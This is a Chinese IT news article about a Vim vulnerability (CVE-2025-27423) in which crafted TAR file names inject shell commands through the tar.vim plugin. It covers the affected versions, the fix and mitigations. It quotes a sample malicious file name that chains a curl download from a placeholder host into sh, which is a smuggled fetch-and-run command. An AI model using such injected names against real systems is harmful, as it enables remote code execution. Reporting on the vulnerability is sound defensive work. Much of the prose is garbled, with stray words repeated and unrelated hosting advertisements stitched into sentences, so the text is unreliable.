您现在的位置是:IT资讯 >>正文
Vim 编辑器漏洞:恶意 TAR 文件触发代码执行风险
IT资讯5人已围观
简介Vim 文本编辑器的漏洞 CVE-2025-27423 是一个高严重性问题,攻击者可以通过恶意 TAR 文件实现任意代码执行。该漏洞影响 Vim 9.1.1164 之前的版本,涉及 tar.vim 插 ...
Vim 文本编辑器的辑器件触漏洞 CVE-2025-27423 是一个高严重性问题,攻击者可以通过恶意 TAR 文件实现任意代码执行。漏洞该漏洞影响 Vim 9.1.1164 之前的恶意版本,涉及 tar.vim 插件 ,发代当用户处理特制的码执 TAR 文件时,可能导致命令注入攻击 。行风险该漏洞于 2025 年 3 月修复,辑器件触暴露了文件处理流程中输入验证的漏洞关键缺陷 。

tar.vim 插件自 2004 年起随 Vim 标准版本发布 ,恶意用户无需手动解压即可直接编辑 TAR 文件。亿华云发代然而,码执2024 年 11 月的行风险更新(提交记录 129a844)虽然增强了文件权限处理功能,却意外引入了注入向量 。辑器件触
插件修改后的漏洞 :read 命令未能对从档案元数据中提取的文件名进行清理 ,使攻击者能够在文件名中嵌入 shell 元字符,恶意如 ;、| 或 && 。当用户打开恶意 TAR 文件时 ,tar.vim 会使用未清理的文件名数据构建系统命令字符串 。
例如,高防服务器如果文件名为 legit_file.txt; curl http://malicious.site/payload.sh | sh,攻击者的负载执行命令会被附加到 Vim 的 :read 管道中。命令执行依赖于用户配置的 shell(由 Vim 的 shell 选项定义,默认值为 $SHELL) ,因此攻击成功与否取决于 shell 是否支持命令链接 。
该漏洞的 CVSSv4 评分为 8.1,属于高严重性 ,需要用户主动打开恶意档案进行触发 。香港云服务器虽然明显的文件名异常(例如文件名中包含分号)可能会引起警惕用户的注意 ,但高级攻击可以通过隐藏负载绕过检测 。
影响范围与应对措施该漏洞的影响不仅限于个人工作站。使用 Vim 进行日志检查的开发环境、解析 CI/CD 流水线中的构件或自动化 vimdiff 档案对比的系统都面临较高的风险 。GMO Flatt Security 分析师 Ry0taK 发现了这一漏洞 。
为应对此问题,建站模板Vim 项目发布了 9.1.1164 版本,使用基于正则表达式的过滤对文件名进行严格清理 。建议用户立即采取以下措施:
通过官方包管理器升级 Vim(如 apt upgrade vim 或 brew update vim) 。使用命令 vim --version | grep 9.1.1164 确认安装版本。对于无法立即修补的系统 ,可以通过在 ~/.vimrc 中添加 let g:loaded_tar = 1 禁用 tar.vim 插件。此外 ,用户可以将 shell 临时设置为 /bin/dash ,以限制其功能。作为最佳实践,Vim 用户应优先更新并审核第三方插件,尤其是模板下载处理不受信任文件格式的插件 。随着供应链攻击的日益复杂,开发者在 Vim 中访问档案的便利性需要更加谨慎 。
目前,GitHub 上已出现漏洞的概念验证利用,建议用户持续监控。虽然主流杀毒引擎已能检测恶意 TAR 文件,但系统管理员仍需结合补丁与用户教育,以识别可疑档案内容,构建多层防御体系 ,源码库从而有效缓解社交工程攻击的威胁 。
Tags:
转载:欢迎各位朋友分享到网络,但转载请说明文章出处“信息技术视野”。http://www.bziz.cn/html/660d499335.html
相关文章
攻击面管理为何成为 2022 主流?
IT资讯近期,美国网络安全审查委员会发布首份报告称,2021年年底曝光的Log4j漏洞成为难以消除的漏洞,其影响将会持续十年之久。Log4j事件表明,我们对暴露的IT资产知之甚少。据统计,大型组织通常拥有数千 ...
【IT资讯】
阅读更多2023年建设数据中心时需要注意的事项
IT资讯2023 年建设数据中心与 10 年前甚至 5 年前建设数据中心有很大不同。 它们的使用方式以及在其中部署的工作负载正在迅速发展,仅仅满足您的需求是不够的; 您还必须预测将来需要 ...
【IT资讯】
阅读更多如何保护服务器固件安全?
IT资讯在当今的数字世界中,企业可以通过应用数据分析来为新产品或服务提供信息,从而获得显着的竞争优势。此外,5G和物联网等技术使得将设备连接到互联网,以共享数据变得比以往更容易。这导致了新数据的虚拟海啸。预测 ...
【IT资讯】
阅读更多